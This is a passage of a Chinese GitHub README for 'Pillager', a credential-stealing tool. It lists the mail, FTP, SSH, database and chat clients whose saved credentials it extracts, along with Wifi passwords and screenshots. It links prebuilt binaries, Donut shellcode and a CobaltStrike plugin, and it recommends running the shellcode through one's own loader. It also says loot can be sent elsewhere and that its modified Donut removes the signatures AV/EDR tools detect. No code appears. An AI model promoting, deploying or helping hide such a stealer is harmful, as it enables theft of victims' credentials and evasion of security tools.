|
||||
* 网易邮箱大师
|
||||
* Foxmail
|
||||
* FileZilla
|
||||
* 凭据提取
|
||||
* MobaXterm
|
||||
* Xmanager
|
||||
* RDCMan
|
||||
* FinalShell
|
||||
* Navicat
|
||||
* SQLyog
|
||||
* Outlook
|
||||
* MailBird
|
||||
* WinSCP
|
||||
* DBeaver
|
||||
* CoreFTP
|
||||
* Snowflake
|
||||
* 个人信息
|
||||
* QQ
|
||||
* VSCode
|
||||
* 网易云音乐
|
||||
|
||||
后续将会陆续添加支持的软件
|
||||
|
||||
#### System
|
||||
|
||||
* Wifi
|
||||
* 截屏
|
||||
|
||||
## 使用方法
|
||||
|
||||
此项目使用Github Action自动编译打包,并上传至[Release](https://github.com/qwqdanchun/Pillager/releases),其中
|
||||
|
||||
* [Pillager.exe](https://github.com/qwqdanchun/Pillager/releases/download/AutoBuild/Pillager.exe) 为.Net Framework v3.5编译生成的exe
|
||||
* [Pillager.bin](https://github.com/qwqdanchun/Pillager/releases/download/AutoBuild/Pillager.bin) Donut打包的raw格式的shellcode
|
||||
* [cs-plugin.zip](https://github.com/qwqdanchun/Pillager/releases/download/AutoBuild/cs-plugin.zip) 为适用于CobaltStrike使用的插件
|
||||
|
||||
使用CobaltStrike可以直接下载插件包,其他人推荐将shellcode集成至自己的加载器或工具中运行,不建议直接使用Pillager.exe
|
||||
|
||||
执行后会将文件打包至 `%Temp%\Pillager.zip`,需要自行前往目录下载文件或修改代码将文件上传至他处
|
||||
|
||||
## 优点
|
||||
|
||||
* 体积在100kb左右,为同类工具体积的几分之一甚至几十分之一
|
||||
* 支持大部分常见浏览器,常见聊天软件的信息提取,将陆续添加其他常用工具的信息收集
|
||||
* 长期维护,有问题可以及时的反馈处理
|
||||
* 使用魔改版本的Donut,缩小shellcode体积,使shellcode兼容.Net Framework v3.5/v4.x,并去除AV/EDR对Donut提取的特征
|
||||
|
||||
## Contributors
|
||||
|
||||
<a href="https://github.com/qwqdanchun/Pillager/graphs/contributors">
|
||||
<img src="https://contrib.rocks/image?repo=qwqdanchun/Pillager" />
|
||||
</a>
|
||||
|
||||
## 404星链计划
|
||||
|
||||
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
|
||||
|
||||
Pillager 现已加入 [404星链计划](https://github.com/knownsec/404StarLink)
|
Loading…
Reference in New Issue